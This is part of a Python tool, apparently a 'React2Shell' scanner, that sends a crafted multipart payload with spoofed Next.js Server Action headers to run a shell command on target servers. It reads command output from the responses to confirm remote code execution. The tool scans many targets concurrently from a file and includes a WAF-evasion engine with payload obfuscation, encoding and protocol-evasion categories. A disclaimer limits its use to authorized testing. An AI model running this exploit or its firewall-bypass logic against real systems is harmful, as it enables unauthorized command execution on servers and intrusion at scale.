attempts.append(ValidationAttempt(
variation_name=variation["name"],
variation_category=variation["category"],
http_status=None,
waf_detected=None,
status="ERROR",
evidence="SSL error during validation",
response_snippet="",
stage=stage_num,
request_details={"error_type": "SSLError", "stage": stage_num}
))
continue
except requests.exceptions.Timeout:
attempts.append(ValidationAttempt(
variation_name=variation["name"],
variation_category=variation["category"],
http_status=None,
waf_detected=None,
status="ERROR",
evidence="Timeout during validation",
response_snippet="",
stage=stage_num,
request_details={"error_type": "Timeout", "stage": stage_num}
))
continue
except requests.exceptions.ConnectionError:
attempts.append(ValidationAttempt(
variation_name=variation["name"],
variation_category=variation["category"],
http_status=None,
waf_detected=None,
status="ERROR",
evidence="Connection error during validation",
response_snippet="",
stage=stage_num,
request_details={"error_type": "ConnectionError", "stage": stage_num}
))
continue
except Exception as e:
attempts.append(ValidationAttempt(
variation_name=variation["name"],
variation_category=variation["category"],
http_status=None,
waf_detected=None,
status="ERROR",
evidence=f"Validation error: {str(e)[:100]}",
response_snippet="",
stage=stage_num,
request_details={"error_type": type(e).__name__, "error_msg": str(e)[:200], "stage": stage_num}
))
continue
print(f"[*] Stage {stage_num} complete: {stage_accepted}/{stage_attempts} variations accepted")
# If any exploit variation was accepted in this stage, we can do vulnerability detection
exploit_accepted = [a for a in attempts if a.stage == stage_num and a.variation_category != "benign_probe" and a.status == "ACCEPTED"]
if exploit_accepted:
# Check if any show vulnerability
vuln_attempts = [a for a in exploit_accepted if "VULNERABLE" in a.evidence]
if vuln_attempts:
return "VULNERABLE", vuln_attempts[0].evidence, attempts, f"validation:{vuln_attempts[0].variation_name}"
# Check if any show patched
patched_attempts = [a for a in exploit_accepted if "PATCHED" in a.evidence or "NOT_VULNERABLE" in a.evidence]
if patched_attempts:
return "NOT_VULNERABLE", f"WAF bypassed; target patched: {patched_attempts[0].evidence}", attempts, f"validation:{patched_attempts[0].variation_name}"
# Accepted but no clear signal - this is VALIDATED
return "VALIDATED", f"WAF bypassed via {len(exploit_accepted)} variation(s) in stage {stage_num}; no vuln detected", attempts, f"validation:{exploit_accepted[0].variation_name}"
# All stages completed
accepted_attempts = [a for a in attempts if a.status == "ACCEPTED"]
blocked_attempts = [a for a in attempts if a.status == "BLOCKED"]
errored_attempts = [a for a in attempts if a.status == "ERROR"]
benign_accepted = [a for a in attempts if a.variation_category == "benign_probe" and a.status == "ACCEPTED"]
benign_blocked = [a for a in attempts if a.variation_category == "benign_probe" and a.status == "BLOCKED"]
# Decision logic
if benign_accepted:
# Legitimate traffic passes but exploit variations don't - WAF is specifically blocking exploit
return "WAF_BLOCKED", f"WAF allows legitimate traffic but blocks exploit ({len(benign_accepted)} benign accepted, {len(blocked_attempts)} exploit blocked)", attempts, "validation:waf_selective"
if blocked_attempts and not benign_accepted:
# Everything blocked - WAF blocks all traffic
return "WAF_BLOCKED", f"All {len(blocked_attempts)} validation variations blocked by WAF (including benign probes)", attempts, "validation:all_blocked"
if accepted_attempts:
# Some exploit variations accepted
vuln_attempts = [a for a in accepted_attempts if "VULNERABLE" in a.evidence]
if vuln_attempts:
return "VULNERABLE", vuln_attempts[0].evidence, attempts, f"validation:{vuln_attempts[0].variation_name}"
patched_attempts = [a for a in accepted_attempts if "PATCHED" in a.evidence or "NOT_VULNERABLE" in a.evidence]
if patched_attempts:
return "NOT_VULNERABLE", f"WAF bypassed; target patched: {patched_attempts[0].evidence}", attempts, f"validation:{patched_attempts[0].variation_name}"
return "VALIDATED", f"WAF bypassed via {len(accepted_attempts)} variation(s); no vuln detected", attempts, f"validation:{accepted_attempts[0].variation_name}"
if errored_attempts:
return "ERROR", f"All validation attempts failed: {len(errored_attempts)} errors", attempts, "validation:all_error"
return "ERROR", f"No validation attempts completed", attempts, "validation:none"
# ============================================================
# CORE SCANNER LOGIC
# ============================================================
class React2ShellScanner:
def __init__(self, timeout: int = DEFAULT_TIMEOUT, connect_timeout: int = DEFAULT_CONNECT_TIMEOUT,
delay: float = DEFAULT_DELAY, verify_ssl: bool = False,
command: str = DEFAULT_COMMAND, paths: Optional[List[str]] = None,
waf_validation: bool = True, waf_max_validation_attempts: int = 5,
waf_enabled_categories: Optional[List[str]] = None, waf_config_file: Optional[str] = None):
self.timeout = timeout
self.connect_timeout = connect_timeout
self.delay = delay
self.verify_ssl = verify_ssl
self.command = command
self.paths = paths or ["/"]
self.session = self._create_session()
self.last_request_time = 0.0
self.request_counter = 0
self.waf_validation_engine = WAFValidationEngine(
self, enabled=waf_validation, max_attempts=waf_max_validation_attempts,
enabled_categories=waf_enabled_categories, config_file=waf_config_file
)
def _generate_request_ids(self) -> tuple[str, str]:
"""Use static request IDs matching the working exploit format."""
return "b5dce965", "SSTMXm7OJ_g0Ncx6jpQt9"
def _create_session(self) -> requests.Session:
session = requests.Session()
retry = Retry(
total=1,
backoff_factor=0.5,
status_forcelist=[502, 503, 504],
allowed_methods=["POST"]
)
adapter = HTTPAdapter(max_retries=retry)
session.mount("http://", adapter)
session.mount("https://", adapter)
return session
def _rate_limit(self):
elapsed = time.time() - self.last_request_time
if elapsed < self.delay:
time.sleep(self.delay - elapsed)
self.last_request_time = time.time()
def _build_multipart_body(self) -> bytes:
"""Construct the exact multipart body matching the working exploit (3 parts, pretty-printed JSON)."""
payload_part_0 = build_payload_part_0(self.command)
lines = []
# Part 0 - the exploit payload (pretty-printed JSON like working request)
lines.append(f"--{BOUNDARY}")
lines.append('Content-Disposition: form-data; name="0"')
lines.append("")
lines.append(json.dumps(payload_part_0, indent=2))
# Part 1 - reference to part 0
lines.append(f"--{BOUNDARY}")
lines.append('Content-Disposition: form-data; name="1"')
lines.append("")
lines.append(PAYLOAD_PART_1)
# Part 2 - empty array (required by the vulnerability)
lines.append(f"--{BOUNDARY}")
lines.append('Content-Disposition: form-data; name="2"')
lines.append("")
lines.append("[]")
# Closing boundary
lines.append(f"--{BOUNDARY}--")
lines.append("")
body = "\r\n".join(lines)
return body.encode('utf-8')
def _get_headers(self) -> dict:
nextjs_id, html_id = self._generate_request_ids()
return {
"User-Agent": USER_AGENT,
"Next-Action": "x",
"X-Nextjs-Request-Id": nextjs_id,
"X-Nextjs-Html-Request-Id": html_id,
"Content-Type": f"multipart/form-data; boundary={BOUNDARY}",
}
def _detect_waf(self, response: requests.Response) -> Optional[str]:
"""Check response for WAF fingerprints."""
text = response.text.lower()
headers = {k.lower(): v.lower() for k, v in response.headers.items()}
for waf, signatures in WAF_SIGNATURES.items():
for sig in signatures:
if sig in text or any(sig in v for v in headers.values()):
return waf.upper()
return None
def _analyze_response(self, response: requests.Response) -> tuple[str, str]:
"""
Analyze response to determine vulnerability status.
Handles Next.js streaming format (text/x-component) and regular responses.
Returns (status, evidence)
"""
status_code = response.status_code
text = response.text
content_type = response.headers.get('Content-Type', '').lower()
# WAF block - explicit WAF detection or common WAF status codes
waf = self._detect_waf(response)
waf_status_codes = {403, 406, 419, 429, 501, 503}
if waf or status_code in waf_status_codes:
return "WAF_BLOCKED", f"WAF detected: {waf or f'status {status_code}'}"
# Check for command execution output (uid=, gid=) - works for both formats
if "uid=" in text and "gid=" in text:
# Extract the relevant snippet for evidence
idx = text.find("uid=")
snippet = text[max(0, idx-50):idx+200]
return "VULNERABLE", f"Command execution confirmed: {snippet}"
# Check for NEXT_REDIRECT with command output in digest (streaming format)
if "NEXT_REDIRECT" in text and ("uid=" in text or "gid=" in text):
idx = text.find("NEXT_REDIRECT")
snippet = text[max(0, idx-50):idx+300]
return "VULNERABLE", f"NEXT_REDIRECT with command output: {snippet}"
# Parse Next.js streaming response format (text/x-component)
# Format: :N<timestamp>\n0:{...}\n1:D{...}\n1:E{...}
if "text/x-component" in content_type or text.startswith(":N"):
# Look for error digest with command output in streaming chunks
import re
# Match E chunks with digest containing command output
e_chunks = re.findall(r'\d+:E(\{.*?\})', text)
for chunk in e_chunks:
if "uid=" in chunk and "gid=" in chunk:
return "VULNERABLE", f"Streaming response with command output: {chunk[:300]}"
if "NEXT_REDIRECT" in chunk and ("uid=" in chunk or "gid=" in chunk):
return "VULNERABLE", f"Streaming NEXT_REDIRECT with command output: {chunk[:300]}"
# Generic detection: NEXT_REDIRECT with non-empty digest that's not a numeric error code
if "NEXT_REDIRECT" in chunk and '"digest"' in chunk:
# Extract digest value
digest_match = re.search(r'"digest"\s*:\s*"([^"]+)"', chunk)
if digest_match:
digest = digest_match.group(1)
# If digest is not a pure numeric error code (like "4281941251"), it's likely command output
if digest and not digest.isdigit() and len(digest) > 1:
return "VULNERABLE", f"Streaming NEXT_REDIRECT with command output in digest: {chunk[:300]}"
# Patched: Next.js error responses indicating payload was processed but rejected
patched_indicators = [
"invalid server action",
"malformed action payload",
"unexpected token",
"cannot read property",
"prototype pollution",
"__proto__",
"constructor.constructor",
"server action payload",
"actionid"
]
if status_code in (400, 500) and any(ind in text.lower() for ind in patched_indicators):
return "NOT_VULNERABLE", f"Next.js rejected payload: {text[:200]}"
# Generic 500 - could be vuln or other error
if status_code == 500:
return "ERROR", f"HTTP 500 - unclear if vuln: {text[:200]}"
# 200 without command output - likely patched or not a Server Action endpoint
if status_code == 200:
return "PATCHED", f"HTTP 200 but no command output: {text[:200]}"
# 405 Method Not Allowed - endpoint doesn't accept POST, not a WAF block
if status_code == 405:
return "ERROR", f"HTTP 405 Method Not Allowed: endpoint may not support POST"
# 404 Not Found - endpoint doesn't exist
if status_code == 404:
return "ERROR", f"HTTP 404 Not Found: endpoint does not exist"
# 401/403 handled above as WAF
# 429 Too Many Requests - rate limiting
if status_code == 429:
return "WAF_BLOCKED", f"Rate limited (429)"
# Other client/server errors
return "ERROR", f"HTTP {status_code}: {text[:200]}"
def scan_target(self, target: str) -> ScanResult:
"""Scan a single target across all configured paths."""
# Normalize target
if not target.startswith(("http://", "https://")):
target = "https://" + target
parsed = urlparse(target)
if not parsed.netloc:
return ScanResult(
target=target,
status="INVALID_URL",
http_status=None,
evidence="Invalid URL format",
response_snippet="",
timestamp=time.strftime("%Y-%m-%d %H:%M:%S")
)
# Preserve any path from the original target URL
base_path = parsed.path if parsed.path else ""
base_url = f"{parsed.scheme}://{parsed.netloc}{base_path}"
# Try each path until we get a definitive result
for path in self.paths:
# Avoid double slashes
if base_path and path == "/":
url = base_url
else:
url = base_url.rstrip('/') + path
self._rate_limit()
try:
body = self._build_multipart_body()
headers = self._get_headers()
response = self.session.post(
url,
data=body,
headers=headers,
timeout=(self.connect_timeout, self.timeout),
verify=self.verify_ssl,
allow_redirects=False
)
status, evidence = self._analyze_response(response)
waf = self._detect_waf(response) if status == "WAF_BLOCKED" else None
# If we got a definitive non-WAF result, return it
if status in ("VULNERABLE", "PATCHED"):
return ScanResult(
target=url,
status="VULNERABLE" if status == "VULNERABLE" else "NOT_VULNERABLE",
http_status=response.status_code,
evidence=evidence,
response_snippet=response.text[:500],
waf_detected=waf,
timestamp=time.strftime("%Y-%m-%d %H:%M:%S"),
validation_path="primary"
)
# If WAF blocked, run validation attempts
if status == "WAF_BLOCKED":
final_status, final_evidence, validation_attempts, validation_path = \
self.waf_validation_engine.validate(url, response, waf, path)
return ScanResult(
target=url,
status=final_status,
http_status=response.status_code,
evidence=final_evidence,
response_snippet=response.text[:500],
waf_detected=waf,
timestamp=time.strftime("%Y-%m-%d %H:%M:%S"),
validation_path=validation_path,
validation_attempts=validation_attempts,
primary_blocked=True
)
# For ERROR, continue to next path
except requests.exceptions.SSLError as e:
continue
except requests.exceptions.Timeout:
continue
except requests.exceptions.ConnectionError:
continue
except Exception:
continue
# If all paths failed or returned ERROR
return ScanResult(
target=target,
status="ERROR",
http_status=None,
evidence=f"All paths failed: {', '.join(self.paths)}",
response_snippet="",
timestamp=time.strftime("%Y-%m-%d %H:%M:%S")
)
# ============================================================
# CLI & MAIN
# ============================================================
def load_targets(filepath: str) -> List[str]:
"""Load targets from file, one per line, skip comments/empty."""
targets = []
with open(filepath, 'r') as f:
for line in f:
line = line.strip()
if line and not line.startswith('#'):
targets.append(line)
return targets
def print_result(result: ScanResult, verbose: bool = False):
"""Pretty print a single result."""
status_colors = {
"VULNERABLE": "\033[91m", # Red
"VALIDATED": "\033[93m", # Yellow
"NOT_VULNERABLE": "\033[92m", # Green
"WAF_BLOCKED": "\033[94m", # Blue
"ERROR": "\033[95m", # Magenta
"INVALID_URL": "\033[90m", # Gray
}
nc = "\033[0m"
color = status_colors.get(result.status, "")
print(f"{color}[{result.status}]{nc} {result.target}")
print(f" HTTP: {result.http_status} | {result.evidence}")
if result.waf_detected:
print(f" WAF: {result.waf_detected}")
if result.validation_path and result.validation_path != "primary":
print(f" Validation Path: {result.validation_path}")
if result.validation_attempts:
accepted = sum(1 for a in result.validation_attempts if a.status == "ACCEPTED")
blocked = sum(1 for a in result.validation_attempts if a.status == "BLOCKED")
errored = sum(1 for a in result.validation_attempts if a.status == "ERROR")
print(f" Validation Attempts: {accepted} accepted, {blocked} blocked, {errored} errors")
if verbose and result.response_snippet:
print(f" Response: {result.response_snippet[:200]}")
if verbose and result.validation_attempts:
for attempt in result.validation_attempts:
print(f" [{attempt.status}] {attempt.variation_name} ({attempt.variation_category}): {attempt.evidence[:100]}")
print()
def save_results(results: List[ScanResult], output_file: str, format_json: bool = False):
"""Save results to file."""
if format_json:
with open(output_file, 'w') as f:
json.dump([r.to_dict() for r in results], f, indent=2)
else:
with open(output_file, 'w') as f:
for r in results:
f.write(f"[{r.status}] {r.target} | HTTP {r.http_status} | {r.evidence}\n")
if r.waf_detected:
f.write(f" WAF: {r.waf_detected}\n")
if r.validation_path and r.validation_path != "primary":
f.write(f" Validation Path: {r.validation_path}\n")
if r.validation_attempts:
accepted = sum(1 for a in r.validation_attempts if a.status == "ACCEPTED")
blocked = sum(1 for a in r.validation_attempts if a.status == "BLOCKED")
errored = sum(1 for a in r.validation_attempts if a.status == "ERROR")
f.write(f" Validation Attempts: {accepted} accepted, {blocked} blocked, {errored} errors\n")
for a in r.validation_attempts:
f.write(f" [{a.status}] {a.variation_name} ({a.variation_category}): {a.evidence[:150]}\n")
def main():
parser = argparse.ArgumentParser(
description="React2Shell / Next.js Server Action RCE Scanner (CVE-2025-29927 variant)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
EXAMPLES:
# Basic scan
python3 react2shell_scanner.py -f targets.txt -o results.json
# With custom rate limit and SSL verification
python3 react2shell_scanner.py -f targets.txt --delay 2.0 --verify-ssl
# Single target test with verbose output
python3 react2shell_scanner.py -t https://staging.example.com -v
# Test multiple paths (/, /api, /dashboard)
python3 react2shell_scanner.py -f targets.txt --paths "/,/api,/dashboard"
# Use custom command for verification
python3 react2shell_scanner.py -f targets.txt --command "whoami"
AUTHORIZATION:
This tool MUST only be used against systems you have explicit written
permission to test. Unauthorized vulnerability scanning is illegal.
"""
)
# Target input
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument("-f", "--file", help="File with target domains (one per line)")
group.add_argument("-t", "--target", help="Single target domain/URL")
# Output
parser.add_argument("-o", "--output", help="Output file (JSON if .json, else text)")
parser.add_argument("--json", action="store_true", help="Force JSON output format")
# Scan behavior
parser.add_argument("--workers", type=int, default=DEFAULT_MAX_WORKERS,
help=f"Max concurrent workers (default: {DEFAULT_MAX_WORKERS})")
parser.add_argument("--delay", type=float, default=DEFAULT_DELAY,
help=f"Delay between requests per worker (default: {DEFAULT_DELAY}s)")
parser.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT,
help=f"Request timeout in seconds (default: {DEFAULT_TIMEOUT})")
parser.add_argument("--connect-timeout", type=int, default=DEFAULT_CONNECT_TIMEOUT,
help=f"Connection timeout in seconds (default: {DEFAULT_CONNECT_TIMEOUT})")
parser.add_argument("--verify-ssl", action="store_true",
help="Verify SSL certificates (default: False for staging)")
# Payload options
parser.add_argument("--command", default=DEFAULT_COMMAND,
help=f"Command to execute for verification (default: {DEFAULT_COMMAND})")
parser.add_argument("--paths", default="/",
help="Comma-separated list of paths to test (default: /)")
# WAF Validation
parser.add_argument("--waf-validation", action="store_true", default=True,
help="Enable WAF-aware validation attempts when blocked (default: enabled)")
parser.add_argument("--no-waf-validation", action="store_false", dest="waf_validation",
help="Disable WAF-aware validation attempts")
parser.add_argument("--waf-max-attempts", type=int, default=5,
help="Max validation attempts per WAF-blocked target (default: 5)")
parser.add_argument("--waf-category", action="append",
choices=["header_normalization", "header_manipulation", "content_type",
"body_encoding", "transport", "request_structure", "payload_obfuscation",
"payload_encoding", "benign_probe", "protocol_evasion", "all"],
help="Enable specific WAF validation categories (can specify multiple, default: all)")
parser.add_argument("--waf-config", help="Load WAF validation config from JSON file")
# Display
parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
parser.add_argument("--no-color", action="store_true", help="Disable colored output")
args = parser.parse_args()
# Disable colors if requested
if args.no_color:
global nc
nc = ""
# Load targets
if args.file:
targets = load_targets(args.file)
print(f"Loaded {len(targets)} targets from {args.file}")
else:
targets = [args.target]
print(f"Single target: {targets[0]}")
if not targets:
print("No targets to scan.")
return 1
# Initialize scanner
paths = [p.strip() for p in args.paths.split(",") if p.strip()]
# Process WAF categories
waf_categories = None
if args.waf_category:
if "all" in args.waf_category:
waf_categories = None # Use all categories
else:
waf_categories = args.waf_category
scanner = React2ShellScanner(
timeout=args.timeout,
connect_timeout=args.connect_timeout,
delay=args.delay,
verify_ssl=args.verify_ssl,
command=args.command,
paths=paths,
waf_validation=args.waf_validation,
waf_max_validation_attempts=args.waf_max_attempts,
waf_enabled_categories=waf_categories,
waf_config_file=args.waf_config
)
print(f"\nStarting scan with {args.workers} workers, {args.delay}s delay...")
print(f"Payload: React2Shell (CVE-2025-29927 variant) - '{args.command}' command")
print(f"Paths: {', '.join(paths)}")
print("=" * 60)
results = []
# Scan with thread pool
with ThreadPoolExecutor(max_workers=args.workers) as executor:
future_to_target = {executor.submit(scanner.scan_target, t): t for t in targets}
for future in as_completed(future_to_target):
result = future.result()
results.append(result)
print_result(result, verbose=args.verbose)
# Summary
print("=" * 60)
summary = {}
for r in results:
summary[r.status] = summary.get(r.status, 0) + 1
print("SCAN SUMMARY:")
for status, count in sorted(summary.items()):
print(f" {status}: {count}")
# Validation summary
validated = summary.get("VALIDATED", 0)
not_vuln = summary.get("NOT_VULNERABLE", 0)
waf_blocked = summary.get("WAF_BLOCKED", 0)
if validated > 0 or not_vuln > 0:
print(f"\nWAF Validation: {validated} validated (bypassed), {not_vuln} confirmed not vulnerable")
# Save output
if args.output:
save_results(results, args.output, format_json=args.json or args.output.endswith('.json'))
print(f"\nResults saved to {args.output}")
# Exit code based on findings
if summary.get("VULNERABLE", 0) > 0:
print("\n⚠️ VULNERABLE TARGETS FOUND - Review immediately")
return 2
elif waf_blocked > 0 and validated == 0 and not_vuln == 0:
print("\n⚠️ WAF BLOCKED - All validation attempts blocked; authorized path needed")
return 3
elif validated > 0:
print("\n⚠️ WAF BYPASSED - Validation succeeded but no vulnerability found")
return 4
return 0
if __name__ == "__main__":
sys.exit(main())